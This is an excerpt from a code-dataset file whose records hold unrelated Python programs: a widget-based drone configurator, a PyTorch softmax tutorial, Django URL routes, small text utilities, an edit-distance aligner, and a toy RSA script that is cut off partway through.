particular_parts:\n example_satisfies_conditions = True\n for attr in restriction[part].keys():\n if isinstance(restriction[part][attr], str):\n condition = example[part][attr] == restriction[part][attr]\n elif isinstance(restriction[part][attr], tuple):\n min_value, max_value = restriction[part][attr]\n condition = example[part][attr] >= min_value and example[part][attr] <= max_value\n elif isinstance(restriction[part][attr], bool):\n condition = not restriction[part][attr] or (example[part][attr] \n and restriction[part][attr])\n if not condition:\n example_satisfies_conditions = False\n break\n if example_satisfies_conditions:\n new_parts.append(example)\n\n# print(list(map(lambda part: '{}: {}'.format(part, filter_parts(new_parts, part) != []), get_keys(parts))))\n if not all(filter_parts(new_parts, part) != [] for part in get_keys(parts)):\n return []\n \n new_pparts = []\n for part in get_keys(new_parts):\n new_pparts.append(filter_parts(new_parts, part))\n filtered_combinations = []\n for comb in combinations(new_pparts, len(new_pparts)-1):\n min_cost, max_cost = restriction['Total']['cost']\n min_weight, max_weight = restriction['Total']['weight']\n comb_cost = get_attribute_sum(comb, 'price')\n comb_weight = get_attribute_sum(comb, 'weight')\n if comb_cost >= min_cost and comb_cost <= max_cost and \\\n comb_weight >= min_weight and comb_weight <= max_weight:\n filtered_combinations.append(comb)\n return filtered_combinations\n\ndef analyse(b, parts, w1, w2, w3, w4, w5):\n restriction = {}\n for key in get_keys(parts):\n restriction[key] = {}\n \n restriction['Body']['material'] = w1.children[1].value\n restriction['Body']['portability'] = w1.children[2].value\n\n restriction['Engine']['engine_type'] = w2.children[1].value\n restriction['Engine']['number'] = w2.children[2].value\n restriction['Engine']['propulsion_type'] = w2.children[3].value\n restriction['Propeller']['material'] = w2.children[4].value\n restriction['Propeller']['number'] = w2.children[5].value\n\n restriction['Software']['GPS'] = w3.children[1].value\n restriction['Software']['AI'] = w3.children[2].value\n restriction['Software']['manufacturer'] = w3.children[3].value\n restriction['CPU']['frequency'] = w3.children[4].value\n restriction['CPU']['num_cores'] = w3.children[5].value\n restriction['Sensor']['signal_acceptance_distance'] = w3.children[6].value\n restriction['Camera']['resolution'] = w3.children[7].value\n restriction['Camera']['angle'] = w3.children[8].value\n restriction['Camera']['IR_illumination'] = w3.children[9].value\n\n restriction['Accumulator']['duration'] = w4.children[1].value\n restriction['Accumulator']['take_off_weight'] = w4.children[2].value\n restriction['Accumulator']['height'] = w4.children[3].value\n \n restriction['Total'] = {}\n restriction['Total']['cost'] = w5.children[1].value\n restriction['Total']['weight'] = w5.children[2].value\n \n Pareto_structures = find_Pareto(parts, restriction)\n visualize_structure(b, Pareto_structures, 1)\n\ndef calculate(rw1, rw2, rw3, rw4, rw5):\n rw5.children[1].children[1].value = str(get_price(parts, rw1.children[1].value,\n rw2.children[1].value, rw2.children[2].value,\n rw3.children[1].value, rw3.children[2].value,\n rw3.children[3].value, rw3.children[4].value,\n rw4.children[1].value)) + ' грн'\n rw5.children[2].children[1].value = str(get_weight(parts, rw1.children[1].value,\n rw2.children[1].value, rw2.children[2].value,\n rw3.children[1].value, rw3.children[2].value,\n rw3.children[3].value, rw3.children[4].value,\n rw4.children[1].value)) + ' г'\n \ndef set_structure(combinations, i, rw1, rw2, rw3, rw4, rw5):\n rw1.children[1].value = combinations[i]['Body']['name'] # get_comb_attr(combinations, 'Body', 'name')[i]\n rw2.children[1].value = combinations[i]['Engine']['name'] # get_comb_attr(combinations, 'Engine', 'name')[i]\n rw2.children[2].value = combinations[i]['Propeller']['name'] # get_comb_attr(combinations, 'Propeller', 'name')[i]\n rw3.children[1].value = combinations[i]['CPU']['name'] # get_comb_attr(combinations, 'CPU', 'name')[i]\n rw3.children[2].value = combinations[i]['Sensor']['name'] # get_comb_attr(combinations, 'Sensor', 'name')[i]\n rw3.children[3].value = combinations[i]['Software']['name'] # get_comb_attr(combinations, 'Software', 'name')[i]\n rw3.children[4].value = combinations[i]['Camera']['name'] # get_comb_attr(combinations, 'Camera', 'name')[i]\n rw4.children[1].value = combinations[i]['Accumulator']['name'] # get_comb_attr(combinations, 'Accumulator', 'name')[i]\n calculate(rw1, rw2, rw3, rw4, rw5)\n \ndef get_template_structures(combinations): \n if len(combinations) == 0:\n all_widgets = w.Label('К сожалению, нет структуры, которая бы удовлетворяла текущие требования.',\n layout=allLayout_without_border)\n return all_widgets\n \n ####################################################################################################\n # Іміджева складова\n ####################################################################################################\n rw1_widgets = [\n widget_typeBox('Корпус', get_comb_attr(combinations, 'Body', 'name'), disabled=True),\n ]\n\n rw1 = widget_group('Внешний вид', rw1_widgets)\n\n ####################################################################################################\n # Механічна складова\n ####################################################################################################\n rw2_widgets = [\n widget_typeBox('Двигатели', get_comb_attr(combinations, 'Engine', 'name'), disabled=True),\n\n widget_typeBox('Пропеллеры', get_comb_attr(combinations, 'Propeller', 'name'), disabled=True),\n ]\n rw2 = widget_group('Механика', rw2_widgets)\n\n ####################################################################################################\n # Апаратна складова\n ####################################################################################################\n rw3_widgets = [\n widget_typeBox('Процессор', get_comb_attr(combinations, 'CPU', 'name'), disabled=True),\n\n widget_typeBox('Датчик связи', get_comb_attr(combinations, 'Sensor', 'name'), disabled=True),\n\n widget_typeBox('Программное обеспечение', get_comb_attr(combinations, 'Software', 'name'),\n disabled=True),\n widget_typeBox('Камера', get_comb_attr(combinations, 'Camera', 'name'), disabled=True),\n ]\n rw3 = widget_group('Аппаратная составляющая', rw3_widgets)\n\n ####################################################################################################\n # Акумулятор\n ####################################################################################################\n rw4_widgets = [\n widget_typeBox('Аккумулятор', get_comb_attr(combinations, 'Accumulator', 'name'), disabled=True),\n ]\n rw4 = widget_group('Аккумулятор', rw4_widgets)\n\n ####################################################################################################\n # Total\n ####################################################################################################\n totalLayout = w.Layout(width='200px', justify_content='flex-end')\n rw5_widgets = [\n w.HBox([w.Label(value='Общая стоимость:', style=title_style),\n w.Label(value='', style=title_style)], layout=totalLayout),\n w.HBox([w.Label(value='Общий вес:', style=title_style),\n w.Label(value='', style=title_style)], layout=totalLayout),\n ]\n rw5 = widget_group('', rw5_widgets)\n return rw1, rw2, rw3, rw4, rw5\n\ndef get_Pareto_structures(combinations):\n rw1, rw2, rw3, rw4, rw5 = get_template_structures(combinations)\n \n rs1 = w.IntSlider(value=1, min=1, max=len(combinations), step=1,\n description='Структура')\n \n rs2 = w.interactive_output(lambda x: set_structure(combinations, x-1,\n rw1, rw2, rw3, rw4, rw5), {'x': rs1})\n \n all_widgets = w.HBox([w.VBox([rw1, rw2, rw5], layout=bigGroup),\n w.VBox([rw3, rw4, rs1], layout=bigGroup)],\n layout=allLayout_without_border)\n return all_widgets\n\ndef get_numerical_parameters(combination):\n options = []\n for element_key in combination.keys():\n for param_key in list(filter(lambda key: key != 'price' and key != 'weight',\n combination[element_key].keys())):\n if not isinstance(combination[element_key][param_key], str) and \\\n not isinstance(combination[element_key][param_key], bool) and \\\n np.random.rand() < 0.5:\n# print(element_key, param_key, combination[element_key][param_key])\n options.append('The highest value of {} {}'.format(element_key, param_key))\n options.append('The least value of {} {}'.format(element_key, param_key))\n return options\n\ndef find_priority_structure(combinations, element_key, param_key, value_type):\n values = np.array([combination[element_key][param_key] for combination in combinations])\n if value_type == 'highest' or value_type == 'max':\n return values.argmax()\n return values.argmin()\n\ndef find_priority_structure_by_total(combinations, attr_name, value_type):\n values = []\n for combination in combinations:\n value = 0\n for element_key in combination.keys():\n value += combination[element_key][attr_name]\n values.append(value)\n values = np.array(values)\n if value_type == 'max':\n return values.argmax()\n return values.argmin()\n\ndef change_values_and_set_structure(combinations, x, rw1, rw2, rw3, rw4, rw5):\n if x == 'The cheapest':\n i = find_priority_structure_by_total(combinations, 'price', 'min')\n elif x == 'The most expensive':\n i = find_priority_structure_by_total(combinations, 'price', 'max')\n elif x == 'The most lightweight':\n i = find_priority_structure_by_total(combinations, 'weight', 'min')\n else:\n x_list = x.split(' ')\n i = find_priority_structure(combinations, x_list[4], x_list[5], x_list[1])\n set_structure(combinations, i, rw1, rw2, rw3, rw4, rw5)\n\ndef get_priority_structure(combinations, i=0):\n rw1, rw2, rw3, rw4, rw5 = get_template_structures(combinations)\n \n# w.interact(lambda x: set_structure(combinations, x, rw1, rw2, rw3, rw4, rw5), x=rs1)\n \n options = get_numerical_parameters(combinations[0])\n options.append('The cheapest')\n options.append('The most expensive')\n options.append('The most lightweight')\n \n rc1 = widget_typeBox('CHOOSING BY', options)\n rc2 = w.interactive_output(lambda x: change_values_and_set_structure(combinations, x,\n rw1, rw2, rw3, rw4, rw5),\n {'x': rc1})\n \n set_structure(combinations, i, rw1, rw2, rw3, rw4, rw5)\n \n all_widgets = w.HBox([w.VBox([rw1, rw2, rw5], layout=bigGroup),\n w.VBox([rw3, rw4, rc1], layout=bigGroup)],\n layout=allLayout_without_border)\n return all_widgets\n\ndef visualize_structure(b, Pareto_structures, i):\n if len(Pareto_structures) == 0:\n all_widgets = w.Label('К сожалению, нет структуры, которая бы удовлетворяла текущие требования.',\n layout=allLayout_without_border)\n window_paretto = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n widget_header('Дрон. Множество структур Паретто', bold=False, size=5, face=facefont),\n widget_header('(мощность множества: {})'.format(len(Pareto_structures)),\n bold=False, size=5, face=facefont),\n all_widgets], layout=allLayout)\n\n window_priority = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n widget_header('Дрон. Приоритетное требование', bold=False, size=5, face=facefont),\n all_widgets], layout=allLayout)\n else:\n def simplify_data_structure(combinations):\n new_combinations = []\n for combination in combinations:\n new_combination = {}\n for element in combination:\n new_combination[list(element.keys())[0]] = list(element.values())[0]\n new_combinations.append(new_combination)\n return new_combinations\n\n simplified_Pareto_structures = simplify_data_structure(Pareto_structures)\n print(simplified_Pareto_structures)\n# all_widgets = get_Pareto_structures(simplified_Pareto_structures)\n# window_paretto = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n# widget_header('Дрон. Множество структур Паретто', bold=False, size=5, face=facefont),\n# widget_header('(мощность множества: {})'.format(len(Pareto_structures)),\n# bold=False, size=5, face=facefont),\n# all_widgets], layout=allLayout)\n\n# all_widgets = get_priority_structure(simplified_Pareto_structures)\n# window_priority = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n# widget_header('Дрон. Приоритетная структура', bold=False, size=5, face=facefont),\n# all_widgets], layout=allLayout)\n \n# tab = create_tab(window_requirements, window_paretto, window_priority)\n# clear_output()\n# display(tab)\n \n\n# Visualization\ndef get_main_window_requirements(parts):\n ####################################################################################################\n # Іміджева складова\n ####################################################################################################\n w1_widgets = [\n widget_typeBox('Материал корпуса', get_part_attr(parts, 'Body', 'material')),\n widget_flag('Портативность')\n ]\n w1 = widget_group('Внешний вид', w1_widgets)\n\n ####################################################################################################\n # Механічна складова\n ####################################################################################################\n w2_widgets = [\n widget_typeBox('Тип двигателя', get_part_attr(parts, 'Engine', 'engine_type')),\n widget_rangeBoxInt('Число двигателей', *get_boundaries(parts, 'Engine', 'number')),\n widget_typeBox('Тип движителя', get_part_attr(parts, 'Engine', 'propulsion_type')),\n\n widget_typeBox('Материал пропеллера', get_part_attr(parts, 'Propeller', 'material')),\n widget_rangeBoxInt('Число пропеллеров', *get_boundaries(parts, 'Propeller', 'number')),\n ]\n w2 = widget_group('Механика', w2_widgets)\n\n ####################################################################################################\n # Апаратна складова\n ####################################################################################################\n w3_widgets = [\n widget_flag('Наличие GPS'),\n widget_flag('Наличие ИИ'),\n widget_typeBox('Производитель ', get_part_attr(parts, 'Software', 'manufacturer')),\n\n widget_rangeBoxFloat('Частота процессора, Гц', *get_boundaries(parts, 'CPU', 'frequency')),\n widget_rangeBoxInt('Количество ядер процессора', *get_boundaries(parts, 'CPU', 'num_cores')),\n\n widget_rangeBoxFloat('Дальность приема сигнала, м', *get_boundaries(parts, 'Sensor',\n 'signal_acceptance_distance')),\n\n widget_rangeBoxFloat('Разрешение матрицы, Мп', *get_boundaries(parts, 'Camera', 'resolution')),\n widget_rangeBoxInt('Угол обзора', *get_boundaries(parts, 'Camera', 'angle')),\n widget_rangeBoxInt('Дальность ИК подсветки, м', *get_boundaries(parts, 'Camera', 'IR_illumination')),\n ]\n w3 = widget_group('Аппаратная составляющая', w3_widgets)\n\n ####################################################################################################\n # Акумулятор\n ####################################################################################################\n w4_widgets = [\n widget_rangeBoxInt('Продолжительность полета, мин', *get_boundaries(parts, 'Accumulator', 'duration')),\n widget_rangeBoxInt('Взлетная масса, кг', *get_boundaries(parts, 'Accumulator', 'take_off_weight')),\n widget_rangeBoxInt('Высота полета, м', *get_boundaries(parts, 'Accumulator', 'height')),\n ]\n w4 = widget_group('Аккумулятор', w4_widgets)\n\n ####################################################################################################\n # Total\n ####################################################################################################\n w5_widgets = [\n # widget_rangeBox('Общая стоимость', 0, 1000),\n # widget_rangeBox('Общий вес', 0, 1000)\n widget_rangeBoxInt('Стоимость, грн', 15000, 30000),\n widget_rangeBoxInt('Общий вес, г', 800, 1000),\n ]\n layout = w.Layout(width='480px', border='solid 0px', margin='10px',\n justify_content='center', align_items='center')\n w5 = widget_group('', w5_widgets, layout=layout)\n\n b1 = w.Button(\n description='Анализ',\n button_style='', # 'success', 'info', 'warning', 'danger' or ''\n )\n\n b1.on_click(lambda b: analyse(b, parts, w1, w2, w3, w4, w5))\n all_widgets = w.HBox([w.VBox([w1, w2, w5, b1], layout=bigGroup), w.VBox([w3, w4], layout=bigGroup)])\n return all_widgets\n\nif __name__ == '__main__':\n with open('data.txt', 'r') as f:\n parts = json.load(f)\n\n all_widgets = get_main_window_requirements(parts)\n window_requirements = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n widget_header('Дрон. Требования к функциональным элементам', bold=False, size=5, face=facefont),\n all_widgets], layout=allLayout)\n\n window_paretto = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n widget_header('Дрон. Множество структур Паретто', bold=False, size=5, face=facefont),\n w.Label('')], layout=allLayout)\n\n window_priority = w.VBox([widget_header('Lab 5', bold=False, face=facefont),\n widget_header('Дрон. Приоритетная структура', bold=False, size=5, face=facefont),\n w.Label('')], layout=allLayout)\n\n tab = create_tab(window_requirements, window_paretto, window_priority)\n display(tab)","sub_path":"lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":21173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"107490554","text":"# -*- coding:utf-8 -*-\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport time\nimport sys\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir)))\n# from code import d2lzh_pytorch\n# import d2lzh_pytorch.utils\n# from d2lzh_pytorch.utils import * \nimport d2lzh_pytorch as d2l \nsize = 28\ndata_root = os.path.join(os.path.dirname(__file__),'../../../../Datasets')\nmnist_train = torchvision.datasets.FashionMNIST(root=data_root, \n train=True,\n download=True,\n transform=transforms.Compose([transforms.Resize((size,size)),transforms.ToTensor()]))\nmnist_test = torchvision.datasets.FashionMNIST(root=data_root,\n train=False,\n download=True,\n transform=transforms.Compose([transforms.Resize((size,size)),transforms.ToTensor()]))\n# feature, label = mnist_train[0]\n# print(feature, label)\n# print(mnist_train[0])\n# print(feature.shape, label)\n# print(d2l.get_fashion_mnist_labels(mnist_train.targets))\n# print(d2l.get_fashion_mnist_labels(mnist_train.train_labels))\n# print((mnist_train.train_labels == mnist_train.targets).sum().data.item())\n\n# X, y = [], []\n# for i in range(10):\n# X.append(mnist_train[i][0])\n# y.append(mnist_train[i][1])\n# d2l.show_fashion_mnist(X, d2l.get_fashion_mnist_labels(y))\n\n# _, figs = plt.subplots(1, 1, figsize=(12, 12))\n# figs.imshow(mnist_train[1][0].view((28, 28)).numpy())\n# plt.show()\nbatch_size = 256\ntrain_iter = torch.utils.data.DataLoader(mnist_train, batch_size=batch_size, shuffle=True, num_workers=0)\ntest_iter = torch.utils.data.DataLoader(mnist_test, batch_size=batch_size, shuffle=True, num_workers=0)\n# start = time.time()\n# for X, y in train_iter:\n# continue\n# print('{:.2f} sec'.format(time.time() - start))\nnum_inputs = size*size\nnum_outputs = 10\nW = torch.tensor(np.random.normal(0, 0.01, (num_inputs, num_outputs)), dtype=torch.float, requires_grad=True)\nb = torch.zeros(num_outputs, dtype=torch.float, requires_grad=True)\n\n# print(w.exp())\n# x= torch.rand((2,5))\n# print(x)\n# x_exp = x.exp()\n# print(x_exp)\n# partition = x_exp.sum(dim=1, keepdim=True)\n# print(partition)\n# print(x_exp / partition)\n# print((x_exp / partition).sum(dim=1))\n\ndef softmax(x):\n x_exp = x.exp()\n partition = x_exp.sum(dim=1, keepdim=True)\n return x_exp / partition\n\n# print(sofmax(x), sofmax(x).sum(dim=1))\ndef net(x):\n z = torch.mm(x.view((-1, num_inputs)), W) + b \n return softmax(z)\n # return z\n # return softmax(torch.mm(x.view((-1,784)), w) + b)\n\n# print(net(mnist_train[0][0]))\n\ndef cross_entropy(y_hat, y):\n return -torch.log(y_hat.gather(1, y.view(-1,1)))\n # return (y_hat.argmax(dim=1). - y)**2\n\ndef accuracy(y_hat, y):\n return (y_hat.argmax(dim=1) == y).float().mean().item()\n\n# y_hat = torch.tensor([[0.1, 0.3, 0.6],[0.3, 0.2, 0.5]])\n# y = torch.LongTensor([0, 2])\n# x = y.view(-1, 1)\n# print(x)\n# z = y_hat.gather(1, y.view(-1, 1))\n# print(y_hat, z)\n# print(torch.gather(y_hat, 1, y.view(-1, 1)))\n# print(cross_entropy(y_hat, y))\n# print(accuracy(y_hat, y))\n# print(y_hat.argmax(dim=1))\n\ndef evaluate_accuracy(data_iter, net):\n acc_sum, n = 0.0, 0\n i = 0\n # data_iter 将60000个数据按照256的大小分批,形成237组数据, data_iter\n for X, y in data_iter:\n acc_sum += (net(X).argmax(dim=1) == y).float().sum().item()\n # y.shape[0] 获取每一组数据中标签的数量,除最后一组外,其余都是batch size\n n += y.shape[0]\n i += 1\n # print(i)\n # print(n)\n return acc_sum / n\n\n# print(evaluate_accuracy(train_iter, net))\n\ndef train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, params=None, lr=None, optimizer=None):\n for epoch in range(num_epochs):\n train_loss_sum, train_acc_sum, n = 0.0, 0.0, 0\n for X, y in tqdm(train_iter):\n y_hat = net(X)\n # l的size(256,1),表示单个样本的代价的张量,正常应该以此张量计算梯度,但是需要传入相同size的张量\n l = loss(y_hat, y)\n # sum()后表示批量样本中所有单个样本的代价的和,以标量求梯度不需要传入参数,但梯度是批量样本的和\n l = l.sum() # / batch_size\n if optimizer is not None:\n optimizer.zero_grad()\n elif params is not None and params[0].grad is not None:\n for param in params:\n param.grad.data.zero_() \n # 计算梯度得到的是样本中参数的梯度的和?是的\n l.backward()\n \n if optimizer is None:\n for param in params:\n # 学习速率 与 /batch_size的作用\n param.data -= lr*param.grad / batch_size\n # d2l.sgd(params, lr, batch_size)\n else:\n optimizer.step()\n \n train_loss_sum += l.item()\n train_acc_sum += (y_hat.argmax(dim=1) == y).sum().item()\n n += y.shape[0]\n test_acc = evaluate_accuracy(test_iter, net)\n print(\"epoch: %2d/%2d, loss: %.4f, train acc: %.3f, test acc: %.3f\" % (epoch, num_epochs, train_loss_sum/n, train_acc_sum/n, test_acc))\n\ntrain_ch3(net, train_iter, test_iter, cross_entropy, num_epochs=5, batch_size=batch_size, params=[W,b], lr=0.1)\n\nX, y = iter(test_iter).next()\n\ntrue_lables = d2l.get_fashion_mnist_labels(y.numpy())\npred_lables = d2l.get_fashion_mnist_labels(net(X).argmax(dim=1).numpy())\ntitles = [true + \"\\n\" + pred for true, pred in zip(true_lables, pred_lables)]\nd2l.show_fashion_mnist(X[0:9], titles[0:9])\n","sub_path":"Dive-into-DL-PyTorch-master/code/chapter03_DL-basics/chapter3-6.py","file_name":"chapter3-6.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"549668972","text":"from django.conf.urls import url\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views\nfrom django.conf.urls import include\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework.schemas import get_schema_view #corejson\nfrom rest_framework.documentation import include_docs_urls\n\n# From here added by Lars----------------------------------------------------------------\n\nfrom django.contrib.auth import views as auth_views\nfrom website import views as core_views\n\n# Till here added by Lars----------------------------------------------------------------\n\n# Create a router and register our viewsets with it.\nrouter = DefaultRouter()\nrouter.register(r'snippets', views.SnippetViewSet)\nrouter.register(r'users', views.UserViewSet)\nrouter.register(r'events', views.SessionViewSet) #ADDED\n\nschema_view = get_schema_view(title='Pastebin API') #core json\n\nurlpatterns = [ #all the links to the right webpage\n url(r'^$', views.data_list2, name='index'), #newnew\n url(r'^post/(?P\\d+)/$', views.post_detail, name='post_detail'),\n url(r'^post/new/$', views.post_new, name='post_new'),\n url(r'^post/(?P\\d+)/edit/$', views.post_edit, name='post_edit'),\n url(r'^base/$', views.post_list, name='post_list'),\n url(r'^post/delete/(?P\\d+)/$', views.post_delete, name='post_delete'),\n url(r'^sessions/$', views.sessions_list, name='sessions_list'), #ADDED\n url(r'^([0-9]{4})/$', views.sessions_list, name='sessions_list'), #ADDED\n url(r'^sessions/event/(?P\\d+)/$', views.session_detail, name='session_detail'), #ADDED\n url(r'^event/new/$', views.session_new, name='session_new'), #ADDED\n url(r'^event/(?P\\d+)/edit/$', views.session_edit, name='session_edit'), #ADDED\n url(r'^event/delete/(?P\\d+)/$', views.session_delete, name='session_delete'), #ADDED\n #url(r'^progress/$', views.progress, name='progress'),\n url(r'^', include(router.urls)), #for the API\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'^schema/$', schema_view), #corejson\n # From here added by Lars----------------------------------------------------------------\n url(r'^profile/$', views.profile, name='profile'),\n url(r'^profile_change/$', views.profile_change, name='profile_change'),\n url(r'^login/$', auth_views.login, {'template_name': 'website/login.html'}, name='login'),\n url(r'^logout/$', auth_views.logout, {'next_page': '/'}, name='logout'),\n url(r'^signup/$', core_views.signup, name='signup'),\n # Till here added by Lars----------------------------------------------------------------\n url(r'^blog$', views.blog_list, name='home'), #Sebastiaan\n url(r'^blog$', views.blog_list, name='blog_list'), #Sebastiaan\n url(r'^blog/(?P\\d+)/$', views.blog_detail, name='blog_detail'),#Sebastiaan\n url(r'^blog/new/$', views.blog_new, name='blog_new'),#Sebastiaan\n url(r'^blog/(?P\\d+)/edit/$', views.blog_edit, name='blog_edit'),#Sebastiaan\n url(r'^blog/(?P\\d+)/remove/$', views.blog_remove, name='blog_remove'), #Sebastiaan\n url(r'^blog/(?P\\d+)/ $', views.blog_flagdetail, name='blog_flagdetail'), #Sebastiaan\n url(r'^blog/(?P\\d+)/flaglist$', views.blog_flaglist, name='blog_flaglist'), #Sebastiaan\n url(r'^blog/(?P\\d+)/flaglist_remove$', views.blog_flaglist_remove, name='blog_flaglist_remove'), #SebastiaanNEW\n url(r'^blog/(?P\\d+)/flagdetail_remove$', views.blog_flagdetail_remove, name='blog_flagdetail_remove'), #SebastiaanNEW\n url(r'^blog/(?P\\d+)/comment/$', views.add_comment_to_blog, name='add_comment_to_blog'), #Sebastiaan\n url(r'^blog/(?P\\d+)/comment /$', views.add_comment_to_comment, name='add_comment_to_comment'), #Sebastiaan\n url(r'^comment/(?P\\d+)/remove/$', views.comment_remove, name='comment_remove'), #Sebastiaan\n #neww\n url(r'^post/(?P\\d+)/completed/$', views.post_completed, name='post_completed'),\n url(r'^progress/$', views.data_list, name='data_list'),\n url(r'^settings/$', views.colorsettings, name='colorsettings'),\n url(r'^settings/(?P\\d+)/$', views.color_grey, name='color_grey'),\n url(r'^help/$', views.help_color, name='help_color'),\n url(r'^docs/', include_docs_urls(title='API S.I.R.')),\n\n]\n","sub_path":"website/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"589437619","text":"name = input(\"What is your name?\")\nage = input(\"How old are you?\")\nusername = input(\"What is your reddit username?\")\n\nprint(\"Hi! You are {}, {} years old, and your username is {}.\".format(\n name, age, username))\n\nf = open(\"challenge1_name.txt\", \"a\")\n\nline = \"{}, {}, {}\".format(name, age, username)\n\nf.write(line)\nf.close()\n","sub_path":"python/challenge1_name.py","file_name":"challenge1_name.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"465994214","text":"import re\n\ndirec = './data/script_downloads/text/'\nfilepath = 'scrape-1001.txt'\nf = open(direc + filepath, 'read')\n\nline_was_char = False\nline_char = ''\nfor line in f:\n line = re.sub('[^A-Za-z0-9 ]+', '', line)\n leading_spaces = len(line) - len(line.lstrip(' '))\n if (line_was_char):\n if (len(line.strip(' ')) == 0):\n line_was_char = False\n line_char = ''\n else:\n print(line_char)\n elif (line.isupper() and leading_spaces > 0 and len(line.strip(' ')) > 1):\n line_was_char = True\n line_char = line\n","sub_path":"scan_for_lines.py","file_name":"scan_for_lines.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"67237458","text":"def n0_punch(f):\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n no_punct = \"\"\n for char in f:\n if char not in punctuations:\n no_punct = no_punct + char\n return no_punct\n\nf = (input(\"Enter a String: \")).upper()\nw = n0_punch(f)\n\nx = list(w.split())\n\nwordcount={}\nfor word in x:\n if word not in wordcount:\n wordcount[word] = 1\n else:\n wordcount[word] += 1\nfor k,v in wordcount.items():\n print(k,\"[\",'*'*v,\"]\", round((v / len(x))*100),\"%\")","sub_path":"Workshop 4/Task 2/public_htmls/code/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"182931630","text":"#!/usr/bin/env python3\n#\n# Copyright 2017 Atlas Guide (Author : Lucas Jo)\n#\n# Apache 2.0\n# \nimport numpy as np\n\n# Levenshtein Algorithm\ndef get_distance(s, t):\n prefix_matrix = np.zeros((len(s) + 1, len(t) + 1))\n prefix_matrix[:, 0] = list(range(len(s) + 1))\n prefix_matrix[0, :] = list(range(len(t) + 1))\n for i in range(1, len(s) + 1):\n for j in range(1, len(t) + 1):\n insertion = prefix_matrix[i, j - 1] + 1\n deletion = prefix_matrix[i - 1, j] + 1\n if s[i-1] == t[j-1]:\n match = prefix_matrix[i - 1, j - 1]\n else:\n match = prefix_matrix[i - 1, j - 1] + 2 # substitution\n prefix_matrix[i, j] = min(insertion, deletion, match)\n #print(prefix_matrix)\n #print(\"\")\n i = len(s)\n j = len(t)\n\n # Return the minimum prefix_matrix using all the table cells\n def backtrace(i, j):\n if i>0 and j>0 and prefix_matrix[i-1][j-1] + 2 == prefix_matrix[i][j]:\n return backtrace(i-1, j-1) + \"S\"\n if i>0 and prefix_matrix[i-1][j] + 1 == prefix_matrix[i][j]:\n return backtrace(i-1, j) + \"D\"\n if j>0 and prefix_matrix[i][j-1] + 1 == prefix_matrix[i][j]:\n return backtrace(i, j-1) + \"I\"\n if i>0 and j>0 and prefix_matrix[i-1][j-1] == prefix_matrix[i][j]:\n return backtrace(i-1, j-1) + \"M\"\n return \"\"\n\n return int(prefix_matrix[i, j]), backtrace(i, j)\n\ndef get_alignment(strA, strB, backtrace):\n alignedA = []\n alignedB = []\n idxA = 0\n idxB = 0\n for symbol in backtrace:\n if symbol == 'D':\n alignedA.append(strA[idxA])\n alignedB.append('_')\n idxA += 1\n if symbol in ['M', 'S']:\n alignedA.append(strA[idxA])\n alignedB.append(strB[idxB])\n idxA += 1\n idxB += 1\n if symbol == 'I':\n alignedA.append('_')\n alignedB.append(strB[idxB])\n idxB += 1\n return ''.join(alignedA), ''.join(alignedB)\n\n\ndef main():\n strA = \"곡된직선을직선으로질주하는낙체\"\n strB = \"곡이된직선을직선으로질는낙체\"\n distance, backtrace = get_distance(strA, strB)\n alignedA, alignedB = get_alignment(strA, strB, backtrace)\n\n print(alignedA)\n print(alignedB)\n print(backtrace)\n\nif __name__ == '__main__':\n main()\n","sub_path":"s5/data/local/lm/buildLM/_scripts_/editDistance.py","file_name":"editDistance.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"72630901","text":"#RSA Integer Encoder/Decoder\n#Andrew Baizon 2015\n\nimport math;\n\ndef key():\n p = int(input('Enter first prime number (P): '))\n q = int(input('Enter second prime number (Q): '))\n print ()\n n = p * q\n z = ( p - 1 )*( q - 1)\n print ('N = ', n)\n print ('Z = ', z)\n print ()\n lr = int(input('Choose lower K limit: '))\n ur = int(input('Choose upper K limit: '))\n prime_array = []\n for number in list(range(lr,ur)):\n y = 0\n for i in range(2,number):\n if number%i == 0:\n if number%z != 0:\n y = 1\n if y == 0:\n prime_array.append(number)\n print ()\n print ('Choose a value for K:')\n print (prime_array)\n k = int(input('Chosen K value: '))\n print ()\n print ('K = ', k)\n print ()\n j = 0\n for l in range(1,z):\n if (k * l) % z == 1:\n j = l\n print ('J = ', j)\n print ()\n pub_key1 = k\n pub_key2 = n\n print ('Public Key: (%s, %s)' % (pub_key1, pub_key2))\n print ()\n prv_key1 = j\n prv_key2 = n\n print ('Private Key: (%s, %s)' % (prv_key1, prv_key2))\n\ndef encode():\n a = int(input('Enter your number: '))\n pvk = int(input('First number of Private Key: '))\n pvk1 = int(input('Second number of Private Key: '))\n b = pow(a, pvk) % pvk1\n print ('Encoded: ', b)\n\ndef decode():\n c = int(input('Enter your number: '))\n pbk = int(input('First number of Public Key: '))\n 